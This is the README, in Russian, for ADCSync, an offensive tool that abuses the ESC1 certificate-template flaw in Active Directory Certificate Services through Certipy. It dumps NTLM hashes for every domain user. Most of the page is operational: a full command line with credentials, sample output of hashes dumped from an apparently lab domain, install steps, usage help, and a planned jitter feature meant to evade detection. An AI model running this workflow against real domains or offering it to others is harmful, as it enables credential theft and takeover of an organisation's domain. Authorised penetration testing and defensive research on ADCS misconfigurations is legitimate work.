ADCSsync

Это инструмент, который я быстро собрал для проведения DCSync с использованием ESC1. Он довольно медленный, но в остальном эффективный способ выполнения импровизированной атаки DCSync без использования DRSUAPI или Volume Shadow Copy.

Это первая версия инструмента, которая в основном автоматизирует процесс запуска Certipy для каждого пользователя в домене. Инструмент ещё требует доработки, и в будущем я планирую добавить больше возможностей для методов аутентификации и автоматизации поиска уязвимого шаблона.

python3 adcsync.py -u clu -p theperfectsystem -ca THEGRID-KFLYNN-DC-CA -template SmartCard -target-ip 192.168.0.98 -dc-ip 192.168.0.98 -f users.json -o ntlm_dump.txt

    ___    ____  ___________
   /   |  / __ \/ ____/ ___/__  ______  _____
  / /| | / / / / /    \__ \/ / / / __ \/ ___/
 / ___ |/ /_/ / /___ ___/ / /_/ / / / / /__
/_/  |_/_____/\____//____/\__, /_/ /_/\___/
                         /____/

Grabbing user certs:
100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 105/105 [02:18<00:00,  1.32s/it]
THEGRID.LOCAL/shirlee.saraann::aad3b435b51404eeaad3b435b51404ee:68832255545152d843216ed7bbb2d09e:::
THEGRID.LOCAL/rosanne.nert::aad3b435b51404eeaad3b435b51404ee:a20821df366981f7110c07c7708f7ed2:::
THEGRID.LOCAL/edita.lauree::aad3b435b51404eeaad3b435b51404ee:b212294e06a0757547d66b78bb632d69:::
THEGRID.LOCAL/carol.elianore::aad3b435b51404eeaad3b435b51404ee:ed4603ce5a1c86b977dc049a77d2cc6f:::
THEGRID.LOCAL/astrid.lotte::aad3b435b51404eeaad3b435b51404ee:201789a1986f2a2894f7ac726ea12a0b:::
THEGRID.LOCAL/louise.hedvig::aad3b435b51404eeaad3b435b51404ee:edc599314b95cf5635eb132a1cb5f04d:::
THEGRID.LOCAL/janelle.jess::aad3b435b51404eeaad3b435b51404ee:a7a1d8ae1867bb60d23e0b88342a6fab:::
THEGRID.LOCAL/marie-ann.kayle::aad3b435b51404eeaad3b435b51404ee:a55d86c4b2c2b2ae526a14e7e2cd259f:::
THEGRID.LOCAL/jeanie.isa::aad3b435b51404eeaad3b435b51404ee:61f8c2bf0dc57933a578aa2bc835f2e5:::

Введение

ADCSync использует эксплойт ESC1 для дампа NTLM хэшей из учетных записей пользователей в среде Active Directory. Инструмент сначала получает всех пользователей и домены из переданного файла дампа Bloodhound. Затем с помощью Certipy он создаёт запрос для каждого пользователя и сохраняет их PFX-файлы в каталог сертификатов. Наконец, с помощью Certipy он аутентифицируется с сертификатом и извлекает NT-хэш для каждого пользователя. Этот процесс довольно медленный и может занять много времени, но предлагает альтернативный способ дампа NTLM хэшей.

Установка

git clone https://github.com/JPG0mez/adcsync.git
cd adcsync
pip3 install -r requirements.txt

Использование

Для использования этого инструмента нам необходимо следующее:

Действительные учетные данные домена
Список пользователей из дампа Bloodhound, который будет передан.
Шаблон, уязвимый для ESC1 (найден с помощью Certipy find)

# python3 adcsync.py --help
    ___    ____  ___________                 
   /   |  / __ \/ ____/ ___/__  ______  _____
  / /| | / / / / /    \__ \/ / / / __ \/ ___/
 / ___ |/ /_/ / /___ ___/ / /_/ / / / / /__  
/_/  |_/_____/\____//____/\__, /_/ /_/\___/  
                         /____/              

Usage: adcsync.py [OPTIONS]

Options:
  -f, --file TEXT      Input User List JSON file from Bloodhound  [required]
  -o, --output TEXT    NTLM Hash Output file  [required]
  -ca TEXT             Certificate Authority  [required]
  -dc-ip TEXT          IP Address of Domain Controller  [required]
  -u, --user TEXT      Username  [required]
  -p, --password TEXT  Password  [required]
  -template TEXT       Template Name vulnerable to ESC1  [required]
  -target-ip TEXT      IP Address of the target machine  [required]
  --help               Show this message and exit.

TODO

Поддержка альтернативных методов аутентификации, таких как NTLM хэши и ccache файлы
Автоматический запуск "certipy find" для поиска и получения шаблонов, уязвимых для ESC1
Добавление опций jitter и sleep для избежания обнаружения
Добавление проверки типов для всех переменных

Благодарности

puzzlepeaches: За то, что сказал мне поторопиться и написать это
ly4k: За Certipy
WazeHell: За скрипт для настройки уязвимой среды AD, использовавшейся для тестирования

ADCSync